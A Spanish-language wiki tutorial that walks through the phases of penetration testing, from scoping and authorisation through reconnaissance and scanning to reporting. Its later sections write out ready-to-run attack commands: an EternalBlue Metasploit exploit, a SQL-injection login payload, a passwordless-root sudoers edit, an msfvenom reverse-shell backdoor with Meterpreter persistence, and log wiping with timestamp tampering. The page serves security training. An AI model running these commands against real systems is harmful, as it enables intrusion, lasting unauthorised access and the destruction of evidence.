[[hack_roadmap-0|Up]]
====== Metodologías de Pentesting ======
Las metodologías de pentesting proporcionan un marco estructurado para realizar
pruebas de penetración de manera sistemática y efectiva. Estas metodologías
aseguran que se cubran todas las áreas críticas y que las pruebas sean
reproducibles y consistentes. A continuación, se detallan las fases principales
de una prueba de penetración, junto con ejemplos prácticos y recursos útiles.
===== Planificación y Preparación =====
==== Conceptos Clave ====
* **Definición del Alcance:** Determinar los sistemas, redes y aplicaciones que serán evaluados.
* **Aprobación y Autorización:** Obtener permiso explícito de los propietarios de los sistemas para llevar a cabo las pruebas.
* **Identificación de Objetivos y Recursos:** Definir objetivos específicos y asignar los recursos necesarios para las pruebas.
==== Ejemplos y Tareas Comunes ====
* **Creación de un Documento de Alcance:**
# Alcance de la Prueba de Penetración
**Objetivos:**
* Identificar vulnerabilidades en la red interna.
* Evaluar la seguridad de la aplicación web principal.
**Sistemas Incluidos:**
* Servidores: 192.168.1.10, 192.168.1.20
* Aplicación Web: https://app.ejemplo.com
**Exclusiones:**
* Sistemas de desarrollo y prueba.
==== Recursos ====
* [[https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf|NIST SP 800-115: Technical Guide to Information Security Testing and Assessment]]
* [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]]
===== Recolección de Información (Reconocimiento) =====
==== Conceptos Clave ====
* **Reconocimiento Pasivo:** Obtener información sobre el objetivo sin interactuar directamente con él.
* **Reconocimiento Activo:** Interactuar directamente con el objetivo para obtener más detalles específicos.
==== Ejemplos y Tareas Comunes ====
* **Reconocimiento Pasivo:**
import requests
from bs4 import BeautifulSoup
url = 'https://www.ejemplo.com'
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
for enlace in soup.find_all('a'):
print(enlace.get('href'))
* **Reconocimiento Activo con Nmap:**
nmap -sS -p 1-65535 -T4 192.168.1.10
==== Recursos ====
* [[https://nmap.org/book/man.html|Nmap Official Documentation]]
* [[https://recon-ng.readthedocs.io/en/latest/|Recon-ng Documentation]]
===== Escaneo y Enumeración =====
==== Conceptos Clave ====
* **Escaneo de Puertos:** Identificación de puertos abiertos y servicios en ejecución.
* **Enumeración de Servicios:** Obtención de detalles sobre los servicios identificados, como versiones de software y configuraciones.
==== Ejemplos y Tareas Comunes ====
* **Escaneo de Puertos con Nmap:**
nmap -A 192.168.1.10
* **Enumeración de Servicios con NSE Scripts:**
nmap -sV --script=banner,ftp-anon,ssl-cert 192.168.1.10
==== Recursos ====
* [[https://nmap.org/book/nse.html|Nmap Scripting Engine (NSE)]]
* [[https://github.com/CiscoCXSecurity/enum4linux|Enum4linux GitHub Repository]]
===== Explotación =====
==== Conceptos Clave ====
* **Explotación de Vulnerabilidades:** Uso de técnicas y herramientas para aprovechar vulnerabilidades identificadas.
* **Pruebas de Explotación:** Verificar si las vulnerabilidades pueden ser explotadas para comprometer el sistema.
==== Ejemplos y Tareas Comunes ====
* **Explotación de Vulnerabilidades con Metasploit:**
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
exploit
* **Explotación de SQL Injection:**
import requests
url = 'https://www.ejemplo.com/login'
payload = {"username": "admin' OR '1'='1", "password": "password"}
response = requests.post(url, data=payload)
if "Bienvenido" in response.text:
print("Vulnerable a SQL Injection")
==== Recursos ====
* [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]]
* [[http://sqlmap.org/|SQLMap Documentation]]
===== Escalada de Privilegios =====
==== Conceptos Clave ====
* **Escalada Vertical:** Obtener niveles de acceso más altos en el sistema objetivo.
* **Escalada Horizontal:** Acceder a cuentas de otros usuarios con permisos similares.
==== Ejemplos y Tareas Comunes ====
* **Uso de ''sudo'' para Escalada de Privilegios:**
sudo -l
* **Explotación de Sudoers Mal Configurado:**
echo 'username ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/username
sudo su -
==== Recursos ====
* [[https://gtfobins.github.io/|GTFOBins]]
* [[https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS|Linux Privilege Escalation Awesome Scripts (LinPEAS)]]
===== Mantener el Acceso =====
==== Conceptos Clave ====
* **Backdoors:** Instalación de puertas traseras para mantener acceso al sistema comprometido.
* **Persistencia:** Técnicas para asegurar que el acceso se mantenga incluso después de reinicios y actualizaciones.
==== Ejemplos y Tareas Comunes ====
* **Instalación de una Puerta Trasera con Metasploit:**
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > backdoor.exe
* **Configurar Persistencia en Meterpreter:**
meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.5
==== Recursos ====
* [[https://www.offensive-security.com/metasploit-unleashed/persistence/|Persistence in Meterpreter]]
* [[https://github.com/EmpireProject/Empire|Empire Project]]
===== Cobertura de Huellas =====
==== Conceptos Clave ====
* **Borrado de Logs:** Eliminación o manipulación de registros para ocultar actividad.
* **Ocultación de Actividad:** Uso de técnicas para evitar la detección durante y después de la explotación.
==== Ejemplos y Tareas Comunes ====
* **Borrado de Logs en Linux:**
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
* **Manipulación de Timestamps:**
touch -t 202307151230.30 archivo_modificado
==== Recursos ====
* [[https://resources.infosecinstitute.com/topic/anti-forensics-techniques/|Anti-Forensics Techniques]]
===== Reporte y Documentación =====
==== Conceptos Clave ====
* **Documentación de Resultados:** Registro detallado de todas las vulnerabilidades y explotaciones realizadas.
* **Recomendaciones de Mitigación:** Sugerencias para corregir las vulnerabilidades identificadas.
==== Ejemplos y Tareas Comunes ====
* **Ejemplo de Estructura de Reporte:**
# Reporte de Pruebas de Penetración
## Resumen Ejecutivo
Breve resumen de los hallazgos y recomendaciones.
## Detalles de la Prueba
* **Fecha de Prueba:** DD/MM/AAAA
* **Sistemas Evaluados:** Detalle de los sistemas evaluados.
## Hallazgos
### Vulnerabilidad 1: Descripción
* **Impacto:** Alto/Medio/Bajo
* **Recomendaciones:** Pasos para mitigar.
### Vulnerabilidad 2: Descripción
* **Impacto:** Alto/Medio/Bajo
* **Recomendaciones:** Pasos para mitigar.
==== Recursos ====
* [[https://owasp.org/www-project-vulnerability-management-guide/|OWASP Vulnerability Management Guide]]
* [[http://www.pentest-standard.org/|Penetration Testing Execution Standard (PTES)]]
===== Conclusión =====
Las metodologías de pentesting proporcionan un marco estructurado para realizar
pruebas de penetración de manera sistemática y efectiva. A través de las fases
de planificación, recolección de información, escaneo, explotación, escalada de
privilegios, mantenimiento de acceso, cobertura de huellas y reporte, los
profesionales de la seguridad pueden identificar y mitigar vulnerabilidades en
los sistemas y redes. Los recursos proporcionados ofrecen guías detalladas para
profundizar en cada uno de estos aspectos y mejorar tus habilidades en
pentesting.
===== Recursos Adicionales =====
* [[http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines|Penetration Testing Execution Standard]] (PTES)
* [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]] (OWASP)